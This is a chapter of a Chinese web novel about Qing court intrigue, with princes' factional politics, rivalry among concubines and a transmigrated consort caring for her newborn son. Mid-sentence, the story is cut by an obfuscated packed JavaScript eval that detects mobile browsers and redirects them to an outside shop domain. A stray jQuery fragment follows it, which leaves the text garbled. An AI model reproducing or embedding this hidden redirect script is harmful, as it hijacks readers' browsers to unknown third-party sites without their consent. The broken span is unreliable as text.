四爷沉默不语。
此事他又如何不知?
事实上京城中消息灵通的约莫都心知肚明,不然十四会被吓得跑出京城吗?
太子盯着他,“四弟,你与八弟同处于一个衙门,应当知晓此事才对?孤一直以为你我兄弟是站在一起的,如今看来是孤自作多情了。”
这是……怪罪到他身上了?
四爷神色一惊,连忙自辩。
“二哥,弟弟这两个月多是在家中,对外界的事并不了解。”
他摸了摸鼻子不自在道:“弟弟府上的陈格格这两个月胎像不好,三天两头出些状况,弟弟是没法子,只能守着她,昨儿孩子才出世,这才让弟弟松了口气。”
太子这才想起四弟新得了个儿子,太子妃昨日还准备了贺礼来着。
好像是提过老四对新来的宠妾宠爱有加,连四弟妹都被气得跑去了承德不肯回来。
他走过去,拍了拍他的肩膀,“四弟,你呀不要太过于宠爱妾室,四弟妹才是你的福晋,在外的事也得多操操心,上回哥哥我说话不好听,这里给你赔个不是,你可别记挂在心里。”
四爷哪里不知道太子的意思,这是趁着皇阿玛未回京前拉拢他,万一老八告到皇阿玛面前去,总不能连他这个明面的太子党都和他离了心。
只是太子二哥一向高傲惯了,连做个姿态都不愿意。
“二哥,明日弟弟府上准备了洗三宴,二哥可一定要来给弟弟个面子。”
他选择退让一步,明日洗三宴二哥只要出面,自然就说明兄弟二人关系好着呢,也打破了外界关于两人分道扬镳的传闻。
太子自然懂他请他的意思,心也放下来,老四还是站在他这边的。
其实黄金被盗一案他是有些心虚的,等于是偷鸡不成蚀把米。
肉没吃着,反而引火烧身。
唉,总之是倒霉透顶。
他知道老八准备了人证物证,只是对方没亮出来,他敢站出来吗?
他敢说自己无辜吗?
事实上到了这会儿黄金没到手,他已经知道差错出在哪里。
他对老八那些人证物证嗤之以鼻,关键其实在另一个人手里。
他现在就是那被按住不敢动等待宣判的犯人,一边等着皇阿玛回来,一边等待一个结果。
这时候老四的作用就很明显了。
万一皇阿玛发怒,也能有个给他求情的兄弟,真落了个手足反目,他自个儿心里也犯嘀咕。
当然太子的这番心思,四爷是不知道的,莫名其妙被叫了过去,然后表了一番忠心后,他便离开了。
两人见面的地方在内城的一处书楼,来来往往的书生很多。
春日的会试成了笑话,秋日的恩科成为这些人又一次跳跃龙门的机会。
不少学子没有回乡,而是留在了京城。
眼前这座书楼比不上外城那座,可这里的书更偏向四书五经,自然也吸引来不少学子。
出了书楼,他回头又看了一眼,没想到太子竟然在此处悄悄设立了一处书楼。
***
“洗三?”李格格冷笑了一声,“爷,让我准备明日的洗三宴?”
真是不公平,她生三阿哥的时候,洗三没有大办,瓜尔佳格格生下四阿哥的时候也没有大办。
怎么轮到陈格格了,这洗三就要大办了?
她不服!
“爷呢?是不是在前院?我要见他!”
她不求他给个解释,可是凭什么五阿哥的洗三就能大办,她的三阿哥也是儿子,还是在爷眼里只有五阿哥是他的儿子不成?
“格格!”翠屏连忙拦住了她,“格格,您忘记了,上回的事了,还有福晋可是快回来了。”
上回自家格格闯到前院去,惹得贝勒爷发了好大一通火,还禁足了三个月,这回要是还惹怒了贝勒爷……
福晋马上就要回京了,格格趁着福晋不在这些日子安插了不少人,要是她再被关,不是给福晋剪除安插人手的机会吗?
李格格被提醒,也冷静了下来。
活到她这个年纪,自然是明白权力更重要,这个时候也不是呷醋的时候。
只是她还是不爽,毕竟做过近十年的宠妾,在府上作威作福惯了,哪里甘心旧人哭看新人笑?
“去,找人传个话,看瓜尔佳氏是什么反应。”
瓜尔佳氏闹起来最好。
她还能坐看好戏开场。
崇光院里,瓜尔佳格格正抱着儿子喂奶,她选择了母乳喂养,因为再好的奶娘也不可能有她身体好。
母乳喂养的诸多好处她很清楚,关键是这可能是她唯一的儿子,出生就有些弱,她自然看得仔细了些。
奶娘可能会隐瞒身体,她不会。
她垂头看着怀里的四阿哥,内心很平静,目光里带着温柔。
当她听见外面传进来的流言蜚语时,她没有发火,而是转身吩咐身边人。
“去,喊管家过来,将传话的那些人领回去。”
身边的丫鬟出去了,外间很快传来哭喊声。
她低头看着孩子,露出了温柔的浅笑。
她哪里关心贝勒爷的宠爱,她进府就是奔着生个阿哥的,她不需要宠爱,她只需要有个儿子,她的儿子也势必会坐上那个位置。
……
“洗三宴?”
午睡醒来的婧意躺在床上正在用补汤,身边躺着的是还未醒来的小阿哥。
婴儿就是这般,一日里多数是在睡觉,不过醒来时着实是个魔星。
好在魔星到了亲妈怀里就成了灵童。
婧意喝着补汤,就听外院的太监过来说明日洗三大办的事。
“是呢,听说太子和太子妃会过来,所以阿哥的洗三会大办。”
婧意“哦”了一声,难怪会这么突然,原来是这个原因。
她就说嘛,之前没听他提过,还以为小阿哥的洗三会和他的两个哥哥一样,府上自己办了。
感情是有外在因素才选择大办。
这事其实跟她关系不大,洗三也不必她这个坐月子的出面。
她低头看着小阿哥,红色已经褪去大半了,头顶还留了胎脂。
想着这个点太阳已经不大,或许该晒晒太阳了,她吩咐人将小阿哥抱到院子里转转,时间也不必长,十分钟差不多了。
然后刚抱出去,就听见了惊天动地的哭闹声。
不多一会儿小阿哥又被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783497|206382||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
抱了进来,委委屈屈的塞回了婧意怀里。
婧意摸了摸襁褓,询问,“是尿了还是拉了?”
奶嬷嬷连忙回答:“已经换过了,小阿哥应该是饿了。”
自陈格格下令说她自己白日喂孩子后,奶嬷嬷的工作只剩下了给孩子换尿布,还有夜里守夜,给孩子喂奶。
夜间喂奶的活无疑是辛苦的,好在她们有四个人,可以轮流守夜。
因为奶水用不完,又不能回奶,要留着以防小阿哥长大后没奶吃。
所以多余的奶水她们会挤出来,然后冻上送回家里。
这是陈格格给的恩典,不用担心家里孩子,奶嬷嬷自是对小阿哥百般用心。
婧意解开了襁褓,穿着棉布衣裳的小阿哥挥动着手,她一看,那手指跟打架一样掐在了一起,难怪哭得伤心,原来是掐疼了自己。
将自己的手指伸到小阿哥手心,被握住后,婧意才开口,“这指甲是不是要剪了?”
奶嬷嬷立刻拿来了小剪刀,真的是非常小的剪刀,趁着婧意喂奶时,将他那指甲给剪了。
填饱肚子,奶嬷嬷将小阿哥抱了过去,小心地拍出奶嗝,才放回床上去。
婧意没急着给他裹进襁褓里,吃饱喝足的小婴儿嘴巴发出无意识的声音,也不知道是不是给自己喝美了,发出了感叹。
她看着有趣,等他蹬腿后,才让奶嬷嬷将他用襁褓裹上。
然后一抬头就看到旁边站着一个人,也不知道看多长时间了。
她拢了拢衣领,让屋里人都退下。
小阿哥自然是被留了。
屋里只剩下了一家三口。
四爷走过来,在床边坐下,伸手将她揽在怀里,然后低头逗儿子。
“我听说你要自己喂养,可是选的这几个奶娘不妥?”
[那倒没有,只是母乳喂养更好,母体的初乳能给新生儿建立一道防线。]
“奶娘都很好,只是我想自己喂,我妈都是亲自喂养了我们兄妹六个,全都养大成人了。”
她依偎在他怀里小声说,“再说奶娘的奶水哪有我的好,我是锦衣玉食,身体有个不适会立马知道,奶娘那边要是有什么,她瞒下来我们哪里能及时知道,小阿哥还小,若是喝了病人的奶水,大人能扛过,小婴儿可不一定。”
[再说我就喂三个月,三个月后再过渡让奶娘去喂。]
她本来只打算喂一个月,想想又不信任这个时代的条件,还是选择了延长两个月。
其实也就喂喂奶,不需要她抱着哄孩子,也不需要起夜喂奶换尿布,已经省了很大的事了。
四爷默许了,“你想喂就自己喂吧。”
他没拿什么祖宗家法来阻止,没什么比孩子的命更重要。
何况他先前答应了瓜尔佳氏自己喂养,婧意想学就学吧。
[哎呀,他来就是问喂奶的事吗?怎么不提洗三宴呀?]
[其实洗三宴不重要,还有一件更重要的事没做呢!]
她低头看着襁褓里的儿子,忍不住问了出来。
“爷,您给小阿哥起好名字了吗?”
[不说大名,小名总得有一个吧,别一直五阿哥五阿哥的叫,我都快唱起来了。]